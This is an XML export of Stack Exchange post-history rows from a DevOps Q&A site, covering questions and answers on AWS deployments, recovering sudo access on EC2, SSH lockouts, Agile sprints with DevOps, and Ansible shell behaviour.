  <row Id="5095" PostHistoryTypeId="2" PostId="1592" RevisionGUID="12c7fb24-1934-4ab5-be4d-a267a7cff745" CreationDate="2017-07-26T08:30:35.163" UserId="3662" Text="In order to setup a flow from developer code to a public URL, I've been testing some flows and the current one does not work that good:&#xD;&#xA;&#xD;&#xA;I have an **AWS Pipeline** that picks up the source code from **CodeCommit**, builds the **[Sage Theme][1]** using `gulp` and deploys the entire code into an Elacticbeanstalk application.&#xD;&#xA;&#xD;&#xA;The bad part here is that I'm pushing the entire code again and again, all I really need is the theme folder. Plus, I need to re-activate all plugins every single time :(&#xD;&#xA;&#xD;&#xA;What is the best approach for such scenario?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://roots.io/sage/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5096" PostHistoryTypeId="1" PostId="1592" RevisionGUID="12c7fb24-1934-4ab5-be4d-a267a7cff745" CreationDate="2017-07-26T08:30:35.163" UserId="3662" Text="Wordpress on AWS, how to update only a theme" ContentLicense="CC BY-SA 3.0" />
  <row Id="5097" PostHistoryTypeId="3" PostId="1592" RevisionGUID="12c7fb24-1934-4ab5-be4d-a267a7cff745" CreationDate="2017-07-26T08:30:35.163" UserId="3662" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5100" PostHistoryTypeId="2" PostId="1593" RevisionGUID="b431551d-cc79-462d-ad46-50e60a2550a0" CreationDate="2017-07-26T11:12:40.210" UserId="3178" Text="I am getting continously locked out from my ec2 instance time and again. I have to take its root volume and attach it to some other instance (mostly new instance) to prevent data loss. I am not able to figure out what is causing my ssh being denied. It works for sometime and all of a sudden ssh is denied. I have tried&#xD;&#xA;&#xD;&#xA;1. Comparing the authkeys with my login key. It is same.&#xD;&#xA;2. Copying the key from a ssh working instance to this volume and re-launching. Same error.&#xD;&#xA;3. Did some tweaks in sshd_conf and ssh_conf but to no success.&#xD;&#xA;&#xD;&#xA;I am completely stumped here, any viewpoints on this.&#xD;&#xA;I have been working on AWS for sometime now and never encountered this problem, the only change being the organsation (and the network) has changed from where i am working from? Can their network be generated some kind of DOS attack which is just shutting down my ssh access? &#xD;&#xA;My team does not have an official AWS tech support plan, hence here." ContentLicense="CC BY-SA 3.0" />
  <row Id="5101" PostHistoryTypeId="1" PostId="1593" RevisionGUID="b431551d-cc79-462d-ad46-50e60a2550a0" CreationDate="2017-07-26T11:12:40.210" UserId="3178" Text="Continuously getting locked out from EC2 instance. No supported authentication methods available" ContentLicense="CC BY-SA 3.0" />
  <row Id="5102" PostHistoryTypeId="3" PostId="1593" RevisionGUID="b431551d-cc79-462d-ad46-50e60a2550a0" CreationDate="2017-07-26T11:12:40.210" UserId="3178" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5103" PostHistoryTypeId="2" PostId="1594" RevisionGUID="e25a4b25-33ef-479d-9ef5-6e902bfe0131" CreationDate="2017-07-26T13:30:09.533" UserId="3666" Text="I scripted badly to give automaticallysome sudo rights to some users, however my script did not check for issue, and I have introduced some bad edits into the `sudoers` file, and thus cannot use sudo at all anymore. (I know I did a very bad thing, and should probably have used something like [this][1])&#xD;&#xA;&#xD;&#xA;My question would be, is there anyway I can recover from this mistake, or do I have to destroy the VM and start from scratch with a new one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/28382838/4121573" ContentLicense="CC BY-SA 3.0" />
  <row Id="5104" PostHistoryTypeId="1" PostId="1594" RevisionGUID="e25a4b25-33ef-479d-9ef5-6e902bfe0131" CreationDate="2017-07-26T13:30:09.533" UserId="3666" Text="Bad edit to sudoers file on EC2 instance, how to fix it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5105" PostHistoryTypeId="3" PostId="1594" RevisionGUID="e25a4b25-33ef-479d-9ef5-6e902bfe0131" CreationDate="2017-07-26T13:30:09.533" UserId="3666" Text="&lt;amazon-ec2&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5106" PostHistoryTypeId="2" PostId="1595" RevisionGUID="ee1e48bc-42af-4eaf-801a-914a79225e94" CreationDate="2017-07-26T15:47:25.570" UserId="960" Text="Generally recovering from this sort of mistake involves editing the boot loader to force a root shell. Since you don't have physical access to the (non-physical) machine, things are a bit different.&#xA;&#xA;If this is an EBS boot drive, you can try [detaching it, fixing it on another machine, then reattaching](https://serverfault.com/a/235824/12214).&#xA;&#xA;This is a good opportunity to learn why it's useful to use configuration management tools for everything: if you were doing this, you could replace the instance in just a few minutes and one command." ContentLicense="CC BY-SA 3.0" />
  <row Id="5107" PostHistoryTypeId="2" PostId="1596" RevisionGUID="249a8356-2c1d-4d03-b6c5-b20e0e8f9fd2" CreationDate="2017-07-26T15:55:38.280" UserId="960" Text="&gt; I'm not clear how a Sprint which is timed-box to a predetermined length (1/2/3 weeks) fits with a DevOps principle of being able to deploy on demand or as needed.&#xA;&#xA;As usual, there is no commonly agreed-upon definition of DevOps, or description of what it entails, so we're just spouting opinions here. But in mine, DevOps encourages operations engineers to do as much as they can to get out of the way of developers, which includes not being a blocker for deploys unless they actually need to be (provisioning, architecture review, etc.).&#xA;&#xA;That's not really tied to the development cycle at all - no matter what the cycle is, your job is to not be a blocker in it.&#xA;&#xA;&gt; How does the sprint process capture that code was deployed to production in the middle of a sprint rather than at the end where the goal is to have &quot;potentially shippable product&quot;?&#xA;&#xA;It depends of course on your company, but in my opinion a feature isn't done until users have it." ContentLicense="CC BY-SA 3.0" />
  <row Id="5108" PostHistoryTypeId="2" PostId="1597" RevisionGUID="7a579a07-33ab-4d02-9897-0b7d3266b7ef" CreationDate="2017-07-26T16:12:13.920" UserId="2845" Text="If you know the root password, typically you can type &quot;su&quot; to switch to a super-user. You can then edit your sudoers file to fix sudo." ContentLicense="CC BY-SA 3.0" />
  <row Id="5109" PostHistoryTypeId="2" PostId="1598" RevisionGUID="5b22b092-a8a1-4a07-807b-da72c98d489f" CreationDate="2017-07-26T18:09:37.857" UserId="47" Text="In a sense your question exactly underlines the problem faced by teams trying to be agile but without having the benefits of a good DevOps culture in place: there is practically no guarantee that at the end of each sprint they'll be able to deliver to their customers.&#xD;&#xA;&#xD;&#xA;In some cases teams may end up using more relaxed definitions of done (like passed QA in my workspace/branch) or may account the additional steps for making the code shippable as tasks.&#xD;&#xA;&#xD;&#xA;But with DevOps being `able to deploy on demand or as needed` shipping at the end of the sprint should simply be normal. Agile and DevOps really work very well together.&#xD;&#xA;&#xD;&#xA;Side note: personally I find the `able to deploy on demand or as needed` a stretch - that only happens if the CI/CD processing passes all necessary QA checks. Very few CI/CD tools out there are able to actually guarantee it." ContentLicense="CC BY-SA 3.0" />
  <row Id="5110" PostHistoryTypeId="2" PostId="1599" RevisionGUID="1eeb83cd-66d5-4685-867d-6b522c3e78e1" CreationDate="2017-07-26T18:18:50.570" UserId="3675" Text="How about user-data ?&#xD;&#xA;&#xD;&#xA;I believe adding the &quot;#cloud-boothook&quot; allow to force the user-data to run at every restart.&#xD;&#xA;&#xD;&#xA;    #cloud-boothook&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo 'test' &gt; /home/ec2-user/user-script-output.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If so, you could fix your sudo scripts hopefully... or install / add AWS run commands configuration https://aws.amazon.com/blogs/aws/new-ec2-run-command-remote-instance-management-at-scale/&#xD;&#xA;&#xD;&#xA;For sure if it is an EBS Drive, you can detach &amp; fix and then re-attach on the original system. A bit of a pain though.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5111" PostHistoryTypeId="2" PostId="1600" RevisionGUID="0e491612-4f54-43e4-8177-07e93b13c2f6" CreationDate="2017-07-26T18:24:20.817" UserId="2845" Text="The Agile software development method&#xD;&#xA;&#xD;&#xA;&gt;describes a set of values and principles for software development under which requirements and solutions evolve through the collaborative effort of self-organizing cross-functional teams. It advocates adaptive planning, evolutionary development, early delivery, and continuous improvement, and it encourages rapid and flexible response to change.&#xD;&#xA;&gt;&#xD;&#xA;&gt;The term agile (sometimes written Agile) was popularized by the Agile Manifesto, which defines those values and principles. ***Agile software development frameworks continue to evolve, two of the most widely used being Scrum and Kanban.***&#xD;&#xA;&#xD;&#xA;While there is no rule prohibiting using DevOps at the end of a [Scrum Sprint](https://en.wikipedia.org/wiki/Scrum_(software_development)#Workflow) to deploy the Sprint's results (in fact, it's encouraged - you are less likely to have mistakes and more likely to have production deployed identical to dev and test) DevOps is really better suited to [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)) than Scrum.&#xD;&#xA;&#xD;&#xA;This is because the DevOps philosiphy of rapid testing and release targeting [10+ deploys a day](https://blog.newrelic.com/2014/05/16/devops-name/) is better suited to releasing every time a work item is completed, which more closely aligns with the rapid feedback and repsonse model outlined in the [Second Way](https://devops.stackexchange.com/a/821/2845) of DevOps.&#xD;&#xA;&#xD;&#xA;However, even during a sprint, DevOps may be helpful to deploy code to testing, QA and staging and have pre-canned automated testing run through the testing units and report results or set up a new sanbox environment. This can allow developers still get the rapid, amplified feedback that DevOps can provide and increase the time spent coding instead of wasting that time prepping development environments - even if you do not deploy all the way to production.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="5112" PostHistoryTypeId="5" PostId="1600" RevisionGUID="878db4e5-fd80-4bab-a3be-15d838e1dab6" CreationDate="2017-07-26T18:41:15.470" UserId="47" Comment="fixed typos" Text="The Agile software development method&#xD;&#xA;&#xD;&#xA;&gt;describes a set of values and principles for software development under which requirements and solutions evolve through the collaborative effort of self-organizing cross-functional teams. It advocates adaptive planning, evolutionary development, early delivery, and continuous improvement, and it encourages rapid and flexible response to change.&#xD;&#xA;&gt;&#xD;&#xA;&gt;The term agile (sometimes written Agile) was popularized by the Agile Manifesto, which defines those values and principles. ***Agile software development frameworks continue to evolve, two of the most widely used being Scrum and Kanban.***&#xD;&#xA;&#xD;&#xA;While there is no rule prohibiting using DevOps at the end of a [Scrum Sprint](https://en.wikipedia.org/wiki/Scrum_(software_development)#Workflow) to deploy the Sprint's results (in fact, it's encouraged - you are less likely to have mistakes and more likely to have production deployed identical to dev and test) DevOps is really better suited to [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)) than Scrum.&#xD;&#xA;&#xD;&#xA;This is because the DevOps philosophy of rapid testing and release targeting [10+ deploys a day](https://blog.newrelic.com/2014/05/16/devops-name/) is better suited to releasing every time a work item is completed, which more closely aligns with the rapid feedback and response model outlined in the [Second Way](https://devops.stackexchange.com/a/821/2845) of DevOps.&#xD;&#xA;&#xD;&#xA;However, even during a sprint, DevOps may be helpful to deploy code to testing, QA and staging and have pre-canned automated testing run through the testing units and report results or set up a new sandbox environment. This can allow developers still get the rapid, amplified feedback that DevOps can provide and increase the time spent coding instead of wasting that time prepping development environments - even if you do not deploy all the way to production.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="5113" PostHistoryTypeId="2" PostId="1601" RevisionGUID="62497ce9-cc6e-4b75-9549-b3eed6cbfcdc" CreationDate="2017-07-26T19:55:25.657" UserId="960" Text="I'd argue that this isn't actually about staging servers.  A staging server closely mimics the production environment, and is where a release goes immediately prior to going to production.  A feature branch that hasn't been merged into master is not going to be released directly to production, so it should not go on a staging server.&#xD;&#xA;&#xD;&#xA;If we reframe the question as being about shared development servers, then you'll find more resources as you search.  As you've noticed, sharing development resources like this causes a number of problems, so it may perhaps be better to focus on solving the underlying issue instead: why is it hard for everyone involved in this process to run a dev server on their local machine?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Now, sometimes the situation is that you do indeed need to have these shared servers.  If you've gone through and determined that you really *do*, then there are a number of techniques you can take to simplify the process.&#xD;&#xA;&#xD;&#xA;&gt; How can I run several different branches on the staging server? These branches pop up and disappear frequently as they pass QA and are merged into master and are released.&#xD;&#xA;&#xD;&#xA;One of the easiest ways is to use part of the url to switch which code branch gets executed (this change is part of why this is not an appropriate staging environment).  I've done this in the past with a wildcard DNS (so any `foo.our-dev-domain.com` would redirect to the same server) and routing code that loaded up `/our/release/directory/foo` in the include path.&#xD;&#xA;&#xD;&#xA;You can also have a command (using something like Ansible) that adds the necessary configuration for a branch as necessary.  This would probably be part of the deploy process, which I'll talk about in a minute.&#xD;&#xA;&#xD;&#xA;&gt; How would I set up the DB evolution system to make sure it always has appropriate DB for each branch? Each branch may make modifications to the DB in different ways that are not necessarily compatible with each other until they're merged.&#xD;&#xA;&#xD;&#xA;The easiest thing to do is just live with it, and encourage people to have short-lived branches.&#xD;&#xA;&#xD;&#xA;Another approach is to use dynamic routing code to switch to separate copies of the database (in RDBMS terms, a &quot;database&quot;) based on the name of the branch.&#xD;&#xA;&#xD;&#xA;&gt; How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch?&#xD;&#xA;&#xD;&#xA;You can either push or pull.  For instance:&#xD;&#xA;&#xD;&#xA;* *pull* - set up a cron job that does a `git pull` (or probably, a `git fetch` and a `git reset --hard`) every few minutes&#xD;&#xA;* *push* - set up a webhook that triggers upon push, and a little web service on the machine that listens to that and updates the repos as necessary&#xD;&#xA;* *push* - have developers explicitly run a deploy command to update their branches on the server&#xD;&#xA;&#xD;&#xA;Talk to your users first and gather their requirements to see what they want (they may not like having it update automatically while they're in the middle of testing something), and that will inform your decision.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;But again:&#xD;&#xA;&#xD;&#xA;&gt; Devs have a completely isolated local copy of the app running locally and QA has 3-4 laptops in rotation that act as their staging &quot;servers&quot;&#xD;&#xA;&#xD;&#xA;The problem seems to be that QA rotates shared laptops instead of just checking out a particular branch the same way devs do." ContentLicense="CC BY-SA 3.0" />
  <row Id="5114" PostHistoryTypeId="2" PostId="1602" RevisionGUID="070d00ca-c10c-4cc4-99c0-7ce64d0ae2b5" CreationDate="2017-07-26T20:11:31.257" UserId="2759" Text="You need to have root access by using the `su` command as `sudo` doesn't seem to be usable and then make appropriate changes. Now for the most important point:&#xD;&#xA;&#xD;&#xA;_Always use_ **visudo** _to edit sudoers file_&#xD;&#xA;&#xD;&#xA;Why? It tells you if there are any errors after you made changes hence preventing one from messing up `sudo` access." ContentLicense="CC BY-SA 3.0" />
  <row Id="5115" PostHistoryTypeId="5" PostId="1594" RevisionGUID="8cc5574c-ee86-4e4e-bafa-d2c7bff10efc" CreationDate="2017-07-26T20:28:05.480" UserId="2759" Comment="Updated description " Text="While writing a script to edit the sudoers file without using `visudo`, the script did not check for issue, and I have introduced some bad edits into the `sudoers` file, and thus cannot use sudo at all anymore. (I know I did a very bad thing, and should probably have used something like [this][1])&#xD;&#xA;&#xD;&#xA;**Question**: Is there anyway I can recover from this mistake, or do I have to destroy the VM and start from scratch with a new one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/28382838/4121573" ContentLicense="CC BY-SA 3.0" />
  <row Id="5116" PostHistoryTypeId="24" PostId="1594" RevisionGUID="8cc5574c-ee86-4e4e-bafa-d2c7bff10efc" CreationDate="2017-07-26T20:28:05.480" Comment="Proposed by 2759 approved by 3666 edit id of 381" ContentLicense="CC BY-SA 3.0" />
  <row Id="5117" PostHistoryTypeId="5" PostId="1577" RevisionGUID="4cc4ab8f-e096-40f3-b27a-cbfa76fd6355" CreationDate="2017-07-26T21:20:27.803" UserId="40" Comment="remove noise" Text="I want to ask some questions about working of Ansible.&#xD;&#xA;&#xD;&#xA;**1** - Which shell Ansible uses when logging to remote host ? &#xD;&#xA;&#xD;&#xA;https://askubuntu.com/questions/937354/track-logins-made-via-non-interactive-shells/937716?noredirect=1#comment1486867_937716&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**2** -  If I have 10 tasks in a playbook, then ansible makes connection 10 times to remote host OR uses a single connection to perform all these 10 tasks ?&#xD;&#xA;&#xD;&#xA;**3** - If I am running 10 tasks on 2 hosts,&#xD;&#xA;&#xD;&#xA;It will do first task on host 1 and then on host 2&#xD;&#xA;then second task on host 1 and then on host 2,&#xD;&#xA;..&#xD;&#xA;. so on, &#xD;&#xA;&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA; So, here also the connection persists to both the hosts?&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;does it firstly connect to host 1, runs task 1 and then disconnects AND then connects to host 2, runs task 1 and then disconnects ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5122" PostHistoryTypeId="2" PostId="1604" RevisionGUID="37d3e68c-6299-4d11-831c-242e01b9999d" CreationDate="2017-07-27T07:52:23.403" UserId="3677" Text="I'm not terribly familiar with elastic beanstalk, so I'm not sure if my method is at all approachable with your workflow, but I have a similar (non-AWS) workflow, and I can share how I do it.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I've managed to only push theme changes by separating the deployment of wordpress, and its mysql DB (both as a docker containers, in my case), and the deployment of the themes (which is a git repo).&#xD;&#xA;&#xD;&#xA;This way I can separate/automate the deployment of wordpress, mysql, and my wordpress theme in a fairly loosely coupled manner.&#xD;&#xA;&#xD;&#xA;Updating consists of only performing a git pull to the themes directory -- No other wordpress/mysql interaction occurs, so my plugins stay in whatever state they were previously in prior to the theme update." ContentLicense="CC BY-SA 3.0" />
  <row Id="5123" PostHistoryTypeId="2" PostId="1605" RevisionGUID="936d3997-a5db-40b5-9935-9b5fb06062ed" CreationDate="2017-07-27T08:05:23.037" UserId="3684" Text="Actually i want to setup a jenkin and git on same server.&#xD;&#xA;here is my requirement:-&#xD;&#xA;&#xD;&#xA;Simply i want jenkins to deploy my folder on another server which runs IIS server which is dotnet.&#xD;&#xA;I dont have code as i buyied a product the client provides me just a publish folder or the executables files which i directly put over the server .&#xD;&#xA;git i want to use to keep the folder and maintain its versions.&#xD;&#xA;i want jenkins to simple check the git repo at particular interval and when it founds new files or folder it directly deploy it over my remote server which is running simple iis and rename the old folder on git with date wise.&#xD;&#xA;how to create this scenario .&#xD;&#xA;&#xD;&#xA;thanks in advance for your suggesstions.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5124" PostHistoryTypeId="1" PostId="1605" RevisionGUID="936d3997-a5db-40b5-9935-9b5fb06062ed" CreationDate="2017-07-27T08:05:23.037" UserId="3684" Text="Regarding jenkins and git-serverh setup on same same server" ContentLicense="CC BY-SA 3.0" />
  <row Id="5125" PostHistoryTypeId="3" PostId="1605" RevisionGUID="936d3997-a5db-40b5-9935-9b5fb06062ed" CreationDate="2017-07-27T08:05:23.037" UserId="3684" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;git&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5126" PostHistoryTypeId="2" PostId="1606" RevisionGUID="7229ebca-14b8-4d2f-8b7b-2c158f76f89b" CreationDate="2017-07-27T08:30:15.090" UserId="3670" Text="I am experiencing weird behavior with the Pages feature of GitLab Omnibus package running on an Ubuntu 16.04 virtual machine. Some projects use Pages with Jekyll built by GitLab CI, which has been working as expected since it was first published with Gitlab CE.&#xD;&#xA;&#xD;&#xA;For a couple of days now, visiting any of the homepages of those sites shows the content of just one of the projects. Here are some examples: [summerschool](https://summerschool.vgiscience.org), [www](https://www.vgiscience.org), [ad](https://ad.vgiscience.org) and [ml](https://ml.vgiscience.org). Each of them should of course show different content, but they all show the same. Even stranger: the content shown on each of the sites changes over time to one of the other projects, and I can not see whether this is deterministic.&#xD;&#xA;&#xD;&#xA;Restarting the build processes of each of the projects did not fix this, neither did `gitlab-ctl reconfigure`, `stop` and `start`, nor rebooting the entire VM.&#xD;&#xA;&#xD;&#xA;To investigate on that issue, I edited (which I assume is) the resulting file of the build process at `/var/opt/gitlab/gitlab-rails/shared/pages/ml/ml.vgiscience.org/public/index.html`. Not in the first place, but later on during the already stated &quot;rotating&quot; content, the edits showed up on the webpage.&#xD;&#xA;&#xD;&#xA;So what is going on there? Is this some caching issue? Is it malconfiguration? Is it a bug? Please help me find and fix the problem, as those are production websites, and my boss is returning from vacation next monday…" ContentLicense="CC BY-SA 3.0" />
  <row Id="5127" PostHistoryTypeId="1" PostId="1606" RevisionGUID="7229ebca-14b8-4d2f-8b7b-2c158f76f89b" CreationDate="2017-07-27T08:30:15.090" UserId="3670" Text="GitLab Pages delivers random content" ContentLicense="CC BY-SA 3.0" />
  <row Id="5128" PostHistoryTypeId="3" PostId="1606" RevisionGUID="7229ebca-14b8-4d2f-8b7b-2c158f76f89b" CreationDate="2017-07-27T08:30:15.090" UserId="3670" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5129" PostHistoryTypeId="2" PostId="1607" RevisionGUID="e6979fb6-d9db-4035-b8c5-b2fdf2c9af31" CreationDate="2017-07-27T08:30:44.690" UserId="3677" Text="One of the cons of Homebrew for the use of testing your DB stuff is how tightly coupled the DB is to your local environment.&#xD;&#xA;&#xD;&#xA;You'll inevitably end up needing to manage the details of what services are running, and possibly needing to manage the versions of multiple installations. This can get complex if you need to install software that needs different versions of dependencies, or if you need to pin a very specific version on your test DB.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Docker can probably be a good fit for your usecase.&#xD;&#xA;&#xD;&#xA;One of the pros of Docker is the ability to quickly set-up and tear-down. Here's an example:&#xD;&#xA;&#xD;&#xA;Because containers have their own filesystem that is isolated from your host, you can start up a mysql:5.6 container, perform whatever operations you need to do for your testing, and stop the container. You can start up another mysql:5.6, (or even a mysql:5.7 container), and it will not matter than you could have destroyed that first container. The instances are independent of each other.&#xD;&#xA;&#xD;&#xA;You can even easily stand up several DBs, and do some very complex A-B testing that would take a lot more effort if you were to manage the process with a homebrew installation.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It was not mentioned as a need for your usage, but Docker makes it easier to work with developers who use different operating systems, (but can also run docker locally). You can write one set of local development setup/test scripts, and it will generally not require any changes in order to have the same results. &#xD;&#xA;&#xD;&#xA;It's a great tool for filtering out &quot;it works on my machine&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="5130" PostHistoryTypeId="2" PostId="1608" RevisionGUID="66d6894e-0d31-49b5-9688-471287780950" CreationDate="2017-07-27T09:57:41.683" UserId="446" Text="Some great answers here, but I thought I'd chime in with an example of how we deliver features. &quot;shipping&quot; to production is not the goal, the goal is to deliver value. Shipping code to production is a means to an ends and we usually deploy many times to enable a feature. Here's a contrived example using a 1 week sprint for succinctness.&#xD;&#xA;&#xD;&#xA;During planning on Monday the team discusses the new feature they want to implement and decide some refactoring work needs to be done before it can be implemented. Not doing the refactoring would introduce extra technical debt and potential performance issues. They spend the rest of Monday and most of Tuesday refactoring and ship this change Tuesday afternoon. This change is not visible to users.&#xD;&#xA;&#xD;&#xA;Wednesday and Thursday they spend implementing the feature and deploy it to production at lunchtime Thursday, but only to a subset of users (using feature flags or a/b testing). Friday morning they find a bug in their code or maybe an undesirable outcome from the testing and ship an update at lunch time. Later they enable the feature for everybody.&#xD;&#xA;&#xD;&#xA;This contrived example involved three deployments before the feature was considered &quot;done&quot;. Most importantly it makes use of fast feedback to drive feature delivery. Taking the approach of writing features and deploying them as the &quot;end game&quot; introduces longer feedback cycles and makes your team slow to react i.e. less Agile." ContentLicense="CC BY-SA 3.0" />
  <row Id="5131" PostHistoryTypeId="2" PostId="1609" RevisionGUID="20c106f4-51c2-44a5-9e4b-479ba6cc4e07" CreationDate="2017-07-27T10:05:09.013" UserId="446" Text="CloudWatch metrics contain &quot;dimensions&quot; that loosely match InfluxDB's concept of &quot;tags&quot;. The list of dimensions available for EC2 metrics is available in the [AWS documentation][1]. Instances tags are not available and I'm not sure what you mean by `env_variables` but since all that is supported is&#xD;&#xA;&#xD;&#xA;- AutoScalingGroupName&#xD;&#xA;- ImageId&#xD;&#xA;- InstanceId&#xD;&#xA;- InstanceType&#xD;&#xA;&#xD;&#xA;the answer is still going to be this is not possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/ec2-metricscollected.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5132" PostHistoryTypeId="5" PostId="1602" RevisionGUID="74047be6-ce10-4776-ad65-0e1834a10d67" CreationDate="2017-07-27T11:58:54.383" UserId="2759" Comment="added 93 characters in body" Text="You need to have root access by using the `su` command as `sudo` doesn't seem to be usable and then make appropriate changes. Now for the most important point:&#xD;&#xA;&#xD;&#xA;_Always use_ **visudo** _to edit sudoers file_&#xD;&#xA;&#xD;&#xA;Why? It tells you if there are any errors after you made changes hence preventing one from messing up `sudo` access.&#xD;&#xA;&#xD;&#xA;&gt;To resolve broken `sudo` follow [this](http://www.psychocats.net/ubuntu/fixsudo) guide.&#xD;&#xA;&#xD;&#xA;*This may not be possible in virtual compute." ContentLicense="CC BY-SA 3.0" />
  <row Id="5133" PostHistoryTypeId="5" PostId="1605" RevisionGUID="6f023ea9-c167-494d-b3b5-21ca1ff0fe36" CreationDate="2017-07-27T12:56:58.860" UserId="2759" Comment="Updated description " Text="I want to setup a Jenkins and git on the same server.&#xD;&#xA;&#xD;&#xA;What I am trying to do:&#xD;&#xA;&#xD;&#xA;I want Jenkins to be able deploy a folder to another server which runs IIS server (which is running `.net`).&#xD;&#xA;I don't have code as I bought the product the client provides me with . It's just a publish folder or the executable files which I directly put on the server .I will be using `git` for version controlling.&#xD;&#xA;&#xD;&#xA;&gt;I want jenkins to periodically check the git repository and when it finds any changes, it deploys it over to my remote server which is running IIS and rename the old folder on git with date wise.&#xD;&#xA;&#xD;&#xA;How should I go about implementing this?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your suggestions.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5134" PostHistoryTypeId="4" PostId="1605" RevisionGUID="6f023ea9-c167-494d-b3b5-21ca1ff0fe36" CreationDate="2017-07-27T12:56:58.860" UserId="2759" Comment="Updated description " Text="Setting up Jenkins and git-server on same server" ContentLicense="CC BY-SA 3.0" />
  <row Id="5135" PostHistoryTypeId="24" PostId="1605" RevisionGUID="6f023ea9-c167-494d-b3b5-21ca1ff0fe36" CreationDate="2017-07-27T12:56:58.860" Comment="Proposed by 2759 approved by 47, 40 edit id of 382" ContentLicense="CC BY-SA 3.0" />
  <row Id="5136" PostHistoryTypeId="50" PostId="1443" RevisionGUID="ab51f133-4fd8-48e5-80e1-35a7eda2f7c4" CreationDate="2017-07-27T14:20:50.447" UserId="-1" />
  <row Id="5137" PostHistoryTypeId="2" PostId="1610" RevisionGUID="81c62b41-577a-46ba-81e1-422e4721c930" CreationDate="2017-07-27T15:39:15.040" UserId="519" Text="_(1) Which shell does Ansible use?_&#xD;&#xA;&#xD;&#xA;Ansible uses `/bin/sh` by default. On many *nix systems including RHEL / CentOS, `/bin/sh` is bash - however, on Ubuntu/Debian it's `dash` which is much more basic.&#xD;&#xA;&#xD;&#xA;### Making Ansible use bash&#xD;&#xA;&#xD;&#xA;It should be possible to change this with a config option [in ansible.cfg](http://docs.ansible.com/ansible/latest/intro_configuration.html#executable) and possibly also setting [ansible_shell_type](http://docs.ansible.com/ansible/latest/intro_inventory.html) in the inventory. &#xD;&#xA; &#xD;&#xA;But in practice I've found (on Ansible 2.2.2 and higher) that this doesn't work - not sure if it's my setup or a bug.&#xD;&#xA;&#xD;&#xA;A workaround that doesn't require config changes, but does mean a bit more code per task, is to write this:&#xD;&#xA;&#xD;&#xA;    - shell:&#xD;&#xA;        echo hello from $0&#xD;&#xA;      args:&#xD;&#xA;        executable: /bin/bash&#xD;&#xA;&#xD;&#xA;This should say `hello from /bin/bash`, indicating the shell is correct.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5142" PostHistoryTypeId="50" PostId="1388" RevisionGUID="ad535c16-bdf9-4621-be52-f4870cae5dfc" CreationDate="2017-07-27T18:20:54.717" UserId="-1" />
  <row Id="5143" PostHistoryTypeId="2" PostId="1612" RevisionGUID="9b2232cb-ffdb-40f7-bbe7-978992c9d67c" CreationDate="2017-07-28T06:22:39.313" UserId="3178" Text="Although i have not found out what leads to this. But i am finally able to login into my instance by following these steps:&#xD;&#xA;1. As you are logged in create a user in the instance and give it a password.&#xD;&#xA;&#xD;&#xA;    $ adduser user1&#xD;&#xA;    $ passwd user1&#xD;&#xA;2. Enable password authentication in /etc/sshd_config file.&#xD;&#xA;3. Login with the new user.&#xD;&#xA;&#xD;&#xA;Interestingly, this user does not gets locked out as the centos user.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5144" PostHistoryTypeId="2" PostId="1613" RevisionGUID="4c66028c-67ce-4a45-9e06-baf55eb94f15" CreationDate="2017-07-28T06:26:54.497" UserId="3178" Text="Detach the root volume, attach it to a running instance and restore the sudoers file in the volume. &#xD;&#xA;Detach the volume and re-attach to the instance in question and restart it.&#xD;&#xA;This should work.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5145" PostHistoryTypeId="2" PostId="1614" RevisionGUID="9450869b-e8ff-44e3-a209-360b78f378d5" CreationDate="2017-07-28T06:48:42.717" UserId="3178" Text="Check the following:&#xD;&#xA;&#xD;&#xA;Something like watchtower maybe running and monitoring your host machine on which the containers are running. Watchtower can re-pull your images from a registry and re-launch a container for you. There are some tools similar to watchtower which do this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
